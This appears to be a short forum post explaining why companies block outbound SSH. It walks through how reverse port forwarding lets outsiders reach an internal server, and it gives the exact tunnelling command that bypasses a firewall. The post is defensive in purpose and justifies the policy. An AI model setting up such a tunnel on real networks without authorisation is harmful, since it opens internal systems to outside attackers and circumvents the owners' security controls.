Why Block Port 22 Outbound?

I don’t see that anyone has spelled out the specific risk with SSH port forwarding in detail.

If you are inside a firewall and have outbound SSH access to a machine on the public internet, you can SSH to that public system and in the process create a tunnel so that people on the public internet can ssh to a system inside your network, completely bypassing the firewall.

If fred is your desktop and barney is an important server at your company and wilma is public, running (on fred):

ssh -R*:9000:barney:22 wilma

and logging in will let an attacker ssh to port 9000 on wilma and talk to barney’s SSH daemon.

Your firewall never sees it as an incoming connection because the data is being passed through a connection that was originally established in the outgoing direction.

It’s annoying, but a completely legitimate network security policy.

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